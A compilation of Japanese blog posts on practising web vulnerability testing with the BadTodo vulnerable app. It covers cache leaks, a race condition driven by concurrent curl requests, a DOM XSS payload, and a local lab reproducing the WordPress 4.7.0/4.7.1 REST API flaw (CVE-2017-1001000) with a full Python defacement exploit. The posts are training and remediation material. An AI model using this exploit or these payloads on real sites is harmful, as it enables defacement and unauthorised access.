やられアプリ(やられサイト)BadTodo 脆弱性のまとめ

脆弱性診断実習用アプリ BadTodo 関連投稿へのリンク一覧です。
BadTodo - 1 準備
BadTodo - 2 ZAPでのスキャン
BadTodo - 3.1 SQLインジェクション 認証の回避
BadTodo - 3.2 SQLインジェクション 非公開情報の漏洩
BadTodo - 3.3 SQLインジェクション DB情報の取得
BadTodo - 3.4 SQLインジェクション ID/パスワードの取得
BadTodo - 3.5 SQLインジェクション 情報の改ざん・追加・削除
BadTodo - 3.6 SQLインジェクション MariaDBのパスワード取得
BadTodo - 3.7 SQLインジェクション idパラメータに対して
BadTodo - 3.8 SQLインジェクション sqlmapを使ってみる
BadTodo - 3.9 SQLインジェクション 対策方法
BadTodo - 4.1 XSS(クロスサイト・スクリプティング)
BadTodo - 4.1.1 XSS 対策方法(HttpOnly属性の付与)
BadTodo - 4.2 XSS ログイン画面で
BadTodo - 4.3 XSS ID毎のTodo一覧画面
BadTodo - 4.4 XSS Todoの削除画面
BadTodo - 4.5 XSS マイページ
BadTodo - 4.6 XSS パスワード変更ページ
BadTodo - 4.7 XSS 対策方法(エスケープ処理)
BadTodo - 4.8 DOM Based XSS
BadTodo - 4.9 XSS URL属性値に対して
BadTodo - 5 オープンリダイレクト
BadTodo - 6 ディレクトリトラバーサル
BadTodo - 7 リモート・ファイルインクルード(RFI)
BadTodo - 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)
BadTodo - 8.2 OS コマンド・インジェクション(内部でシェルを呼び出す関数)
BadTodo - 9 Server Side Code Injection - PHP Code Injection
BadTodo - 10.1 CSRF(クロスサイト・リクエスト・フォージェリ)
BadTodo - 10.5 CSRF(対策)
BadTodo - 10.6 CSRF対策トークンの不備
BadTodo - 10.7 XSSによるCSRF対策の突破
BadTodo - 11 HTTP ヘッダ・インジェクション
BadTodo - 12 メールヘッダ・インジェクション
BadTodo - 13 クリックジャッキング
BadTodo - 14 セッション管理の不備
BadTodo - 15 アクセス制御や認可制御の欠落
BadTodo - 16 バッファオーバーフロー
BadTodo - 17 認証(パスワードの強度・ログアウト)
BadTodo - 18 クローラへの耐性
BadTodo - 19 ディレクトリ・リスティング
BadTodo - 20 A4:2017 - XML外部エンティティ参照 (XXE)
BadTodo - 21 A10:2021 - サーバーサイドリクエストフォージェリ(SSRF)
BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション
BadTodo - 23 適切でないアップロートファイル制限
BadTodo - 24.1 NULLバイト攻撃(+ファイルインクルード)
BadTodo - 24.2 NULLバイト攻撃(+SQLインジェクション)
BadTodo - 24.3 NULLバイト攻撃(+XSS)
BadTodo - 25 TOCTOU競合
BadTodo - 26 レースコンディション
BadTodo - 27 キャッシュからの情報漏洩

BadTodoは以下の脆弱性を網羅しています

IPA 安全なウェブサイトの作り方 第7版より
1.1 SQLインジェクション
1.2 OSコマンド・インジェクション
1.3 パス名パラメータの未チェック/ディレクトリ・トラバーサル
1.4 セッション管理の不備
1.5 クロスサイト・スクリプティング
1.6 CSRF(クロスサイト・リクエスト・フォージェリ)
1.7 HTTPヘッダ・インジェクション
1.8 メールヘッダ・インジェクション
1.9 クリックジャッキング
1.10 バッファオーバーフロー
1.11 アクセス制御や認可制御の欠落

ウェブ健康診断仕様より
(安全なウェブサイトの作り方との重複点をグレーアウト)
1 (A) SQL インジェクション
2 (B) クロスサイト・スクリプティング
3 (C) CSRF(クロスサイト・リクエスト・フォージェリ)
4 (D) OS コマンド・インジェクション
5 (E) ディレクトリ・リスティング
6 (F) メールヘッダ・インジェクション
7 (G) パス名パラメータの未チェック/ディレクトリ・トラバーサル
8 (H) 意図しないリダイレクト(オープンリダイレクト)
9 (I) HTTP ヘッダ・インジェクション
10 (J) 認証
11 (K) セッション管理の不備
12 (L) 認可制御の不備、欠落
13 (M) クローラへの耐性

OWASP Top 10 2017(重複をグレーアウト)
A1:2017 - インジェクション(A03:2021- インジェクション)
 BadTodo - 3 SQLインジェクション
 BadTodo - 8 OS コマンド・インジェクション
 BadTodo - 9 Server Side Code Injection
A2:2017 - 認証の不備(A07:2021-識別と認証の失敗)
 BadTodo - 17 認証(パスワードの強度・ログアウト)
(パスワードをデータストアに保存する際に、プレーンテキストのままで保存している)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
(セッション識別子がURLの一部として露出してしまっている)
(ログイン後にセッション識別子を使いまわしている)
(セッションIDを正しく無効化していない)
 BadTodo - 14 セッション管理の不備
A3:2017 - 機微な情報の露出
 BadTodo - 17 認証(パスワードの強度・ログアウト)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
A4:2017 - XML 外部エンティティ参照(XXE) (A05:2021-セキュリティの設定ミス)
 BadTodo - 20 XML外部エンティティ参照 (XXE)
A5:2017 - アクセス制御の不備(A01:2021-アクセス制御の不備)
 BadTodo - 15 アクセス制御や認可制御の欠落
 BadTodo - 10 CSRF(クロスサイト・リクエスト・フォージェリ)
 BadTodo - 19 ディレクトリ・リスティング
A6:2017 - 不適切なセキュリティ設定(A05:2021-セキュリティの設定ミス)
 BadTodo - 19 ディレクトリ・リスティング
(詳細なエラーメッセージの表示)
 BadTodo - 3 SQLインジェクション
 BadTodo - 6 ディレクトリトラバーサル
A7:2017 - クロスサイトスクリプティング (XSS)
 BadTodo - 4 XSS(クロスサイト・スクリプティング)
A8:2017 - 安全でないデシリアライゼーション(A08:2021-ソフトウェアとデータの整合性の不具合)
 BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション
A9:2017 - 既知の脆弱性のあるコンポーネントの使用(A06:2021-脆弱で古くなったコンポーネント)
(ソフトウェアが脆弱な場合やサポートがない場合、また使用期限が切れている場合)
 BadTodo - 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)
A10:2017 - 不十分なロギングとモニタリング(A09:2021-セキュリティログとモニタリングの失敗)
(ログと監視が不十分で、組織が知らないうちに攻撃者に脆弱性を突かれること)(ロギングとモニタリングに関しては、ブラックボックスでの診断は難しく、ソースコード診断になるかと思います。badtodo/docs/vulnerabilities.md at main · ockeghem/badtodo · GitHub

OWASP Top 10 2021
A01:2021-アクセス制御の不備
 BadTodo - 15 アクセス制御や認可制御の欠落
 BadTodo - 10 CSRF(クロスサイト・リクエスト・フォージェリ)
 BadTodo - 19 ディレクトリ・リスティング
A02:2021-暗号化の失敗
 BadTodo - 17 認証(パスワードの強度・ログアウト)
 (SSL(TLS)の設定)
 (HSTS)
 (パスワードの平文保存)
A03:2021-インジェクション
 BadTodo - 4 XSS(クロスサイト・スクリプティング)
 BadTodo - 3 SQLインジェクション
 BadTodo - 8 OS コマンド・インジェクション
 BadTodo - 9 Server Side Code Injection
A04:2021-安全が確認されない不安な設計
 BadTodo - 18 クローラへの耐性
(CWE-312 重要な情報が平文のまま格納されている問題)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
(CWE-434 適切でないアップロートファイル制限)
 BadTodo - 23 適切でないアップロートファイル制限 CWE-434
(CWE-598 GETリクエストのクエリ文字列からの情報漏洩)
 BadTodo - 14 セッション管理の不備
A05:2021-セキュリティの設定ミス
 A4:2017 - XML 外部エンティティ参照 (XXE)
 BadTodo - 19 ディレクトリ・リスティング
(詳細なエラーメッセージの表示)
 BadTodo - 3 SQLインジェクション
 BadTodo - 6 ディレクトリトラバーサル
(クッキーへの機密情報の保存)
 BadTodo - 15 アクセス制御や認可制御の欠落
(クッキーのセキュア属性不備)
 BadTodo - 14 セッション管理の不備
(HttpOnly属性不備)
 BadTodo - 4.1.1 XSS 対策方法(HttpOnly属性の付与)
(セキュリティヘッダの不備)
A06:2021-脆弱で古くなったコンポーネント
(ソフトウェアが脆弱な場合やサポートがない場合、また使用期限が切れている場合)
 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)
A07:2021-識別と認証の失敗
 BadTodo - 17 認証(パスワードの強度・ログアウト)
(パスワードをデータストアに保存する際に、プレーンテキストのままで保存している)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
(セッション識別子がURLの一部として露出してしまっている)
(ログイン後にセッション識別子を使いまわしている)
(セッションIDを正しく無効化していない)
 BadTodo - 14 セッション管理の不備
A08:2021-ソフトウェアとデータの整合性の不具合
 安全でないデシリアライゼーション
 BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション
A09:2021-セキュリティログとモニタリングの失敗
(ログと監視が不十分で、組織が知らないうちに攻撃者に脆弱性を突かれること)(ロギングとモニタリングに関しては、ブラックボックスでの診断は難しく、ソースコード診断になるかと思います。badtodo/docs/vulnerabilities.md at main · ockeghem/badtodo · GitHub
 (ログからの情報漏洩)
A10:2021-サーバーサイドリクエストフォージェリ(SSRF)
 BadTodo - 21 サーバーサイドリクエストフォージェリ(SSRF)

BadTodo は
安全なWebアプリケーションの作り方 第2版
にも対応しています。各脆弱性への対応策もまだ記述できていませんので作成を続けていきます。

BadTodo - 27 キャッシュからの情報漏洩

前回:やられアプリ BadTodo - 26 レースコンディション - demandosigno

キャッシュを利用することでアプリケーションの読み込み処理を高速化したり、サーバーの負荷を軽減させたりできます。
BadTodoでは Nginx がリバースプロキシサーバとなりキャッシュ機能を持っています。

今、"test"ユーザでBadTodoにログインしマイページを見ています。(これ以降少し時間のかかる操作のため、ログイン時に「ログインしたままにする」をチェックしておきます)

このときURLに"rnd=6603fd696be28"という文字列が付いています。これは「キャッシュバスター」といい、URLのクエリー文字列として乱数値を付与することでキャッシュからの情報漏洩を防ぐ保険的な対策の一つです。

ここでは、キャッシュバスターが付いていない場合について見ていきます。
アドレスから"rnd=6603fd696be28"を削除してアクセスします。

次にブラウザをリロードし、同じURLをもう一度読み込んでみます。(「マイページ」の再クリックでは"rnd"が付くのでダメです)
このとき、レスポンスに"X-Cache: HIT"と出ており、2回目のアクセスはキャッシュから読み込まれたことが分かります。(サーバにキャッシュが保存されている)

次に、今アクセスしているブラウザ(BurpSuite組み込みChromium)とは別のブラウザを一つ立ち上げます。(今回はFirefoxで試しています)
サーバーのキャッシュだけではなくブラウザにもキャッシュ機能はありますので、まず最初にブラウザ設定ページからブラウザ側のキャッシュは削除しておいてください。(「設定」→「プライバシーとセキュリティ」→「Cookieとサイトデータ」「データを消去」)
そして、先ほどのプロフィールページのアドレスをコピーして二つ目のブラウザでアクセスします。

まだログインもしていないのにも関わらず、"test"ユーザのプロフィールが見えてしまいました。

Firefoxの方もBurpを通して見てみると"X-Cache: HIT"となっており、キャッシュされたマイページを見ていることになります。

Nginxのデフォルトでは応答がキャッシュされる時間は無制限です。指定のログファイルサイズを超えれば削除されますが、そうでなければ永遠に残ります。
BadTodoの場合、設定ファイルにて"proxy_cache_valid 200 302 180s;"と指定されているため、200, 302のステータス応答に対しては180秒有効となっています。
(設定ファイルの場所はソースフォルダ上では \badtodo\nginx\default.conf に。badtodo-eginxコンテナ上では /etc/nginx/conf.d/default.conf 内で記述されています)

実際3分を超えた時点で"X-Cache: EXPIRED"となりキャッシュ切れとなります。

ここで、そのままFirefoxのページをリロードすると、今度は"X-Cache: HIT"となります。

続けて、元のChromiumブラウザ側をリロードするとログアウトされてしまったように見えます。

しかし、これは先ほどのFirefox側のログアウト画面をキャッシュしてしまったことによる「なんちゃってログアウト」画面です。
同様に3分待ってからリロードすると同じセッションIDのままログイン状態が継続していることを確認できます。

対策

  • アプリケーション側でキャッシュ制御用の適切なレスポンスヘッダを設定する
  • キャッシュサーバ―側でキャッシュ制御の適切な設定を行う

アプリケーション側でキャッシュを抑制するには、Cache-Controlヘッダとして no-store を指定すればよいですが、ブラウザやキャッシュサーバの仕様のブレを考慮して以下を指定すると良いでしょう。
Cache-Control: private, no-store, no-cache, must-revalidate
Pragma: no-cache

PHPの場合、session_cache_limiter関数を使い session_cache_limiter('nocache'); と指定することで
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
のようなヘッダが出力されます。
PHP: session_cache_limiter - Manual

ただ、session_cache_limiter() は session_start() がコールされる必要があり、BadTodoは独自のセッション生成方法を使っているためか機能しませんでした。 今回は一旦 common.php の先頭に直接記述することにしました。

<?php
header("Cache-Control: private, no-store, no-cache, must-revalidate");
header("Pragma:no-cache");

これにより所定のヘッダが付与されます。

Firefox側で読み込んでも"X-Cache: MISS"となります。アプリケーション側での拒否指示が優先されます(Nginx側でキャッシュされません)。

サーバー側の設定については後日。

補足:確認の際に思うように動作しなくなったら一旦キャッシュを削除してみてください。
BadTodo - Nginxのキャッシュの削除

Cache-Control - HTTP | MDN
www.itmedia.co.jp

Docker フォルダのマウント。ホストでの場所。

毎度忘れるのでメモ。

コンテナの中でファイルを作成しても、コンテナを削除すると消える。そこでホスト側のフォルダをコンテナにマウントすることで永続化する。
データベースの保持 — Docker-docs-ja 24.0 ドキュメント

環境
・Windows10
・Docker Desktop v4.26.1

volume でマウント

基本的にはホスト側から操作するべきではないため、ホスト側でボリュームがどこに作成されるか意識する必要はない。とはいえ一応知りたい場合。
例として
> docker container run -it --rm --mount src=volumetest,dst=/tmp/volumetest python:3.9.18-slim-bullseye /bin/bash
で作成した場合。

# ls /tmp/
volumetest
# echo "test-desu" > /tmp/volumetest/test.txt
# ls /tmp/volumetest/
test.txt
# exit
exit

Volume が作成されている。

PS C:\Users\hoge> docker volume inspect volumetest
[
    {
        "CreatedAt": "2024-01-13T11:49:48Z",
        "Driver": "local",
        "Labels": null,
        "Mountpoint": "/var/lib/docker/volumes/volumetest/_data",
        "Name": "volumetest",
        "Options": null,
        "Scope": "local"
    }
]

"Mountpoint": "/var/lib/docker/volumes/volumetest/_data" とのことで、Windows上では下記となる。

bind でマウント

バインド マウント(bind mount) の使用 — Docker-docs-ja 24.0 ドキュメント
ホスト側でもフォルダの内容を操作したい場合に利用する。ホスト側の任意のフォルダを割り当てる。
bindの方がvolumeよりアクセス速度が遅い

Windows上にフォルダを作成
PS C:\Users\hoge> mkdir bindtest

    Directory: C:\Users\hoge

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d----       2024/01/13 土    21:21                bindtest

フォルダに移動
PS C:\Users\hoge> cd .\bindtest\
コンテナ起動とマウント
PS C:\Users\hoge\bindtest> docker container run -it --rm --mount "type=bind,src=$pwd,dst=/tmp/bindtest" python:3.9.18-slim-bullseye /bin/bash

テストファイルを作成
# echo "test-desu" > /tmp/bindtest/test.txt
# ls /tmp/bindtest/
test.txt
# exit
exit

PS C:\Users\hoge\bindtest> ls

    Directory: C:\Users\shink\bindtest

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---       2024/01/13 土    21:52             10 test.txt

後始末。テストファイルとフォルダの削除
PS C:\Users\shink\bindtest> cd ../
PS C:\Users\shink> rm -R .\bindtest\
PS C:\Users\shink>

Macについては後日確認。

やられアプリ BadTodo - 26 レースコンディション

前回:やられアプリ BadTodo - 25 TOCTOU競合 - demandosigno

競合状態 (race condition)
情報処理における競合状態は「イベントタイミングへの予期せぬ依存が引き起こす異常な振る舞い」である。特に複数のプロセスやスレッドが通信しながら動作する場合(並行計算)に発生するが、単一スレッドで動作している場合であっても、シグナルによる割り込みが原因で発生することもある。
競合状態 - Wikipedia

TOCTOUも競合状態の一種と考えて良いようです。

システム開発のセキュリティにおいてレースコンディションと TOCTOU は、しばしば混同して使われることがありますが、それぞれの違いについて用語の整理から確認していきましょう。
レースコンディション(Race Condition)とは、複数の処理が同じデータに対してアクセスしたときに、競合状態になることで想定外の処理が引き起こされる問題です。
対して TOCTOU(Time Of Check To Time Of Use)とは、あるデータの検証時点と使用時点での状態の差異によって想定外の処理が引き起こされる問題です。
つまりレースコンディションは、さまざまな競合状態の問題を表す包括的な脆弱性なのに対し、TOCTOU はより実装の状況を限定した具体的な脆弱性であることが分かります。
TOCTOU/レースコンディション | WebApp Testing

BadTodoでの例

Todoの添付ファイル機能でファイル名の競合が起きます。

今、userA, userBというアカウントがいて、1件Todoを作成済みです。非公開としていますのでお互いには見えていません。

そして一方をブラウザのシークレットモードで開いて、二人平行して操作していきます。
Todo編集画面に入り、添付ファイルを1件追加します。
ファイル名は同一にしますが (test.txt) 内容はそれぞれのものです。

それぞれ横に並べて「更新」ボタンを続けてクリックして登録してみます。

ファイル名にマウスを乗せ確認してみます。さすがにそのままのファイル名ではなく、頭に別の文字列が付与されていますが 6589a3e5-test.txt、6589a3e6-test.txt のように1だけしか差がありません。

Burpの送信結果を見ると1秒差で送信されていることが分かります。

もっと同時に送信してみる

一旦添付ファイルを削除します。
1秒で1差ということはそれほど厳密に分けられてはなさそうです。であればシェルから&で繋げてリクエストする程度でいけるかもと考えcurlで試すことにしました。 他のコンテナからリクエストを送ってもよいですが今回はBadTodoにcurlをインストールしました。

# apt install curl

一つ分のPOSTリクエストが下記です。
# curl --cookie "TODOSESSID=7afb65ad5ab2c8a1c00c4343f7261a0d" https://todo.example.jp/editdone.php -x http://host.docker.internal:8080/ -F todotoken=89cf61981938e3235a7b0c199e2cd7e8 -F item=4 -F todo=TestA -F c_date=2023-12-29 -F attachment=@/var/www/materials/a/test.txt -k
TODOSESSIDとtodotoken、item番号はブラウザやBurpSuiteから適宜取得して置き換えてください。-x オプションでBurpProxyを通しています。
添付ファイルは /var/www/materials/ 辺りに/a/ /b/とフォルダ分けして置いておきます。

そしてAとB二つ分のリクエストを&で繋いで送信用意(添付ファイルのディレクトリを変更し忘れないように)。送信。
# curl --cookie "TODOSESSID=7afb65ad5ab2c8a1c00c4343f7261a0d" https://todo.example.jp/editdone.php -x http://host.docker.internal:8080/ -F todotoken=89cf61981938e3235a7b0c199e2cd7e8 -F item=4 -F todo=TestA -F c_date=2023-12-29 -F attachment=@/var/www/materials/a/test.txt -k & curl --cookie "TODOSESSID=c240286adc0891c0e2a82f54619d8b93" https://todo.example.jp/editdone.php -x http://host.docker.internal:8080/ -F todotoken=d9d2d93c78500173d6d71bd5a2fef27e -F item=5 -F todo=TestB -F c_date=2023-12-29 -F attachment=@/var/www/materials/b/test.txt -k

二つのPOSTリクエストが1秒未満の間隔で送受信されました。

ファイル名を確認すると6595a3e9-test.txtまったく同じになってしまっていることが分かります。

ファイルを右クリックし「新しいタブで開く」から中身を確認すると、testBユーザにtestAユーザの内容が表示されます。またtestBユーザの元のファイルが消えてしまったことも問題です。

BurpSuite の Intercept を使う方法

上の例ではcurlを使ってリクエストを送信しましたが、BurpSuiteの Intercept機能を使えばまとめて送信することができました。こちらの方が簡単です。

Todo編集画面を横に並べて「更新」ボタンをクリックする前に、BurpSuiteの Interceptを「ON」にしておきます。

その後で「更新」を双方のんびりクリック。

リクエストがBurpで止められているので「Intercept is on」ボタンを再度クリックして全部のリクエストを流します。

同じファイル名になりました。

今回のように1秒も猶予があるようなシステムはそうないのでは?と思っていたのですが

川崎市様における証明書誤交付ついて : 富士通Japan株式会社
本事象の原因は、2か所のコンビニで、2名の住民の方が同一タイミング(時間間隔1秒以内)で証明書の交付申請を行った

の様な事例がありました。

他の部分にも幾つか存在するようですので引き続き探します。

次回:BadTodo - 27 キャッシュからの情報漏洩 - demandosigno

スクリプトキディから始めるハッカー実践入門

次の動画(45:20~)で徳丸さんが行っていたハッカー入門をそのままやってみた。

  • WordPressの有名な脆弱性を題材として脆弱性について学ぶ
  • 「スクリプトキディ」は低級ハッカーの意味で使われるが、誰もがはじめから高度な攻撃手法を編み出すことはできないので既知の攻撃手法から学ぶことは有益
  • コピペすれば動くというものでもなく、スクリプトキディはそれほど簡単ではない
  • やってみれば色々身に付くよ
    というお話。

私はMacではなくWindows10で試しています。
youtu.be

NVD - CVE-2017-1001000
JVNDB-2017-002318 - JVN iPedia - 脆弱性対策情報データベース
WordPressにログインすることなく任意のコンテンツが改ざんできるという脆弱性。

WordPress 4.7.0 の導入の準備

WordPress Compatibility – Make WordPress Hosting

よって、PHP7.1、MariaDB10.1で試しました。

Xdebugは2.9.8を利用します。
Xdebug: Documentation » Supported Versions and Compatibility

最新Verはこちらで確認
GitHub - xdebug/xdebug at xdebug_2_9

フォルダ構成

/WordPress4.7
  ├── docker-compose.yml
  └── /php
     └── Dockerfile

Dockerfile

FROM php:7.1-apache
RUN a2enmod rewrite && \
    pecl install xdebug-2.9.8 && \
    docker-php-ext-enable xdebug && \
    docker-php-ext-install mysqli
# COPY xdebug.ini /usr/local/etc/php/conf.d/xdebug.ini
WORKDIR /var/www/html

xdebug.ini のコピーについては後で別途ダウンロードすることにし、ここではコメントアウトしました。

docker-compose.yml

version: "3"
services:
  php:
    build: php
    depends_on:
      - db
    ports:
      - "8000:80"
    volumes:
      - ./html:/var/www/html
  db:
    image: mariadb:10.1
    environment:
      MYSQL_ROOT_PASSWORD: root
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress

volumes:
 db_data:

> docker-compose up -d
インストール完了後、各種確認。Xdebugもインストールされている。

# cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 10 (buster)"

# php -v
PHP 7.1.33 (cli) (built: Nov 22 2019 18:28:25) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2018 Zend Technologies
    with Xdebug v2.9.8, Copyright (c) 2002-2020, by Derick Rethans

# service apache2 status
[ ok ] apache2 is running.

phpinfoを作って確認してみる。

# apt update && apt upgrade
# apt install vim
# vi phpinfo.php
<?php phpinfo(); ?>

Xdebugの設定と実行テスト

# cd /usr/local/etc/php/conf.d
# curl -O https://raw.githubusercontent.com/xdebug/xdebug/xdebug_2_9/xdebug.ini
# vi xdebug.ini
以下を追記
[xdebug]
;xdebug.remote_host = host.docker.internal // この行を記載するとVSCodeを立ち上げるとうまく動かなくなったため一旦コメントアウトしています。
(コンテナ上での localhost はコンテナ自身を参照してしまうので「host.docker.internal」でコンテナからホスト上のサービスにアクセスすることができるのですが、このあたりきちんと理解できていません)  
xdebug.remote_enable=1
xdebug.remote_autostart=1
xdebug.remote_port=9003

コンテナ再起動後。phpinfo内にXdebugが表示されていることを確認。

VSCodeでLocalにインストールされている拡張機能PHPdebugをクリックしてコンテナの方にもインストールする。

launch.jsonファイルを作成

launch.json

{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Listen for Xdebug",
            "type": "php",
            "request": "launch",
            "port": 9003,
            "pathMappings": {
                "${workspaceRoot}/html": "${workspaceRoot}/html"
            }
        }
    ]
}

デバッグ実行してからブラウザを開き、ブレークポイントで止まるか確認。

WordPress 4.7のインストール

# pwd
/var/www/html
# curl -O https://ja.wordpress.org/wordpress-4.7.1-ja.tar.gz
# tar xf wordpress-4.7.1-ja.tar.gz
# ls -l
drwxr-xr-x 1 nobody nogroup    4096 Jan 12  2017 wordpress
# chown -R www-data:www-data wordpress
# ls -l
drwxr-xr-x 1 www-data www-data    4096 Jan 12  2017 wordpress
# rm wordpress-4.7.1-ja.tar.gz

http://localhost:8000/wordpress/ にアクセス。docker-compose.ymlに合わせて設定。インストール実行。

管理画面にログイン。テーマを変えてみたり、一件投稿してみたりする。

CVE-2017-1001000 の準備

エクスプロイトコード
WordPress 4.7.0 / 4.7.1 REST API Privilege Escalation ≈ Packet Storm

Pythonとモジュールのインストール

# apt install python3 python3-venv python3-pip
# python3 -V
Python 3.7.3

# pip3 install requests fake_useragent

CVE-2017-1001000.py を作成

#!/usr/bin/env python
'''
    WordPress 4.7.0-4.7.1 REST API Post privilege escalation / defacement exploit
'''
import requests
from fake_useragent import UserAgent
import argparse
import urllib.parse
import random
import string
proxies = {
    'http' : 'http://host.docker.internal:8080',
    'https' : 'http://host.docker.internal:8080'
}

def attack(target, postID, payload):
    ua = { 'user-agent': UserAgent().random }
    uwotm8 = ''.join([random.choice(string.ascii_letters) for n in range(8)])
    sploit_api = 'http://{}/index.php?rest_route=/wp/v2/posts/{}&id={}{}&content={}'.format(target, postID, postID, uwotm8, payload)
    attack = requests.post(sploit_api, data = {}, headers=ua, verify=False, proxies=proxies)
    if attack.status_code == 200:
        print('Payload sent to {} with 200 status'.format(target))
    else:
        print('Payload sent to {}, but we are not sure if the attack was successful as {} was the response'.format(target, attack.status_code))

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='WordPress 4.7.0-4.7.1 REST API Post privilege escalation / defacement exploit')
    parser.add_argument('--target', '-t', type=str, required=True, help='Post ID in which the payload will be applied')
    parser.add_argument('--postID', '-pid', type=str, required=True, help='Post ID in which the payload will be applied')
    parser.add_argument('--payload', '-p', type=str, required=True, help='What you would like to replace the post with')

    args = parser.parse_args()
    target = args.target
    postID = args.postID
    payload = urllib.parse.quote_plus(args.payload)
    attack(target, postID, payload)

VSCodeのコンテナにPython拡張機能をインストール。

launch.jsonにPython用の設定と送信パラメータを追記。

{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Python: 現在のファイル",
            "type": "python",
            "request": "launch",
            "program": "${file}",
            "console": "integratedTerminal",
            "justMyCode": true,
            "args": [
                "-t",
                "localhost:8000/wordpress",
                "-pid",
                "4", // これは1件投稿したため4となっていますが、追加投稿していない場合は1で。管理画面・投稿一覧の post 番号に合わせてください。
                "-p",
                "Hacked by demandosigno",
            ]
        },
        {
            "name": "Listen for Xdebug",
            "type": "php",
            "request": "launch",
            "port": 9003,
            "pathMappings": {
                "${workspaceRoot}/html": "${workspaceRoot}/html"
            }
        }
    ]
}

デバッガ実行 エラー
『Python 拡張機能のデバッガーでは、3.7 より小さい Python バージョンがサポートされなくなりました。』

『3.7 より小さい』であればインストールしてある Python 3.7.3で問題なさそうですが…。今回は拡張機能のバージョンを落とします。コンテナ―の方の(LOCALではない)拡張機能を右クリック→「別のバージョンをインストール」→ Python v2022.0.1786462952, Pylance 2022.7.40 を選択、インストール → 再読み込み。

再度デバッグ実行。問題なく動きブレークポイントで止まりました。

そのまま進めます。ステータスコード200で無事通ったようです。

最期まで実行後、ブラウザで確認。改ざんできていました。

Burpの方も確認

このPythonスクリプトをコマンドで打つ場合は次の通り。

# python3 CVE-2017-1001000.py --target localhost:8000/wordpress --postID 4 --payload "Hacked by demandosigno"

残りは動画通りで特に詰まるところはないと思います。

WordPressの中身を追いかける

リピーターで再送信。

権限のチェックに不備があります。

修正版のWordPress-4.7.2 も確認

# curl -O https://ja.wordpress.org/wordpress-4.7.2-ja.tar.gz
# mkdir wordpress-4.7.2 && tar xf wordpress-4.7.2-ja.tar.gz -C wordpress-4.7.2 --strip-components 1
# chown -R www-data:www-data wordpress-4.7.2
# mv wordpress wordpress-4.7.1
# mv wordpress-4.7.2 wordpress

wordpress-4.7.1 と同様に初期設定を行う。

次の画面が出たら先には進まずに、

ログインして確認すると、
Wordpress-4.7.2になっています。

再度エクスプロイト実行。今度は無事エラーになりました。

動画の後書きより。

  • 意外に難しい
  • 正常系ができないと異常系ができるわけがない
  • いっぱい手を動かして脆弱性の検証方法を身につけましょう

やられアプリ BadTodo - 4.8 DOM Based XSS

前回:やられアプリ BadTodo - 4.7 XSS 対策方法(エスケープ処理) - demandosigno

DOM Based XSSについて。

BadTodoのトップページhttps://todo.example.jp/todolist.phpですが、このURLの後ろに#とスクリプトを追記するとXSSが発動します。
https://todo.example.jp/todolist.php#%22]%3Cimg%20src=/%20onerror=alert(1)%3E

 

#(フラグメント識別子、またはハッシュ)

URLに付く#以下の部分に応じて表示内容を変化させるアプリケーションがあります。 ブラウザのデベロッパーツールにてコードを見てみるとlocation.hashでURLの#以降の値を取得しています。

#はページ内リンクに使われたりもしますが、この例では#の値に従ってチェックボックスにチェックを付ける動作をします。#2,4とするとid[]=2,4にチェックが付きます(id[]=3のTodoは非公開のため表示されていない)。

最初からチェックが付いているページを用意するなどの用途に使えます。

jQueryの機能の不適切な利用

 jQueryには、jQuery( )という関数があり、多くの場合 $( )という別名で使用されます。この$関数に様々な引数を与えることで多様な動作を簡潔に指定できます。この機能はjQueryのセレクタと呼ばれ多用されています。
$('input[name="foo"]'):input要素で name 属性が foo のものを取得。
 一方で、$関数(jQuery関数)は、下記のようにHTMLタグ文字列を指定すると、DOM要素を生成します。
$('<p>Hello</p>')
 このため、jQueryのセレクタとして要素を指定しているつもりでも、セレクタ指定文字列に外部からの入力が混ざっていると、攻撃者が新しい要素を生成できる場合があります。
「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版 p.437」

今回のコード内で対応する部分が
$('input[name="id[]"][value="' + id + '"]').prop('checked', true);
です。prop()は要素の属性を取得・設定するメソッドです。開発ツールで行数部分をクリックすることでブレークポイントを作って動作を確認できます。
id部分に2が入っており、結果<input type="checkbox" name="id[]" value="2">にchecked属性を設定します。
このように、DOMを使用することでスクリプトからHTMLを操作することが可能になります。

さて、このとき#"]<img src=/ onerror=alert(1)>だったとするとこうなります。

セレクタは$('input[name="id[]"][value=""]<img src=/ onerror=alert(1)>"]').prop('checked', true);となり、新たなimg要素が作られ、onerrorイベントによりJavaScriptが実行されます。

対策

  • 最新のライブラリを用いる
  • $( ) や jQuery( )の引数は動的生成しない
  • 適切なDOM操作あるいは記号のエスケープ
  • eval、setTimeout、Functionコンストラクタなどの引数に、文字列形式で外部からの値を渡さない
    など

jQueryの新しいバージョンは入力がハッシュ#で始まる場合にセレクターにHTMLを挿入できないようにすることでこの脆弱性を修正しました。
Download jQuery | jQueryより最新の jQueryをダウンロードし読み込み先を修正します。

<script src="./js/jquery-1.8.3.js"></script> // BadTodoの現状
                           ↓
<script src="./js/jquery-X.X.X.js"></script> // 最新版を使う

そうするとシンタックスエラーとなりXSSは実行されません。

これでセレクタによるDOM Based XSSは防げますが予防としてアプリケーション側でも引数は動的生成しないことを推奨します。
例えば以下のようにfindメソッドを用いることで、動的にHTML要素を生成されることはなくなります。入力値のチェックも行っています。

} else {
  var a = checklist.split(',');
  a.map(function(id) {
    var id = parseInt(id);
    if (!isNaN(id)) {
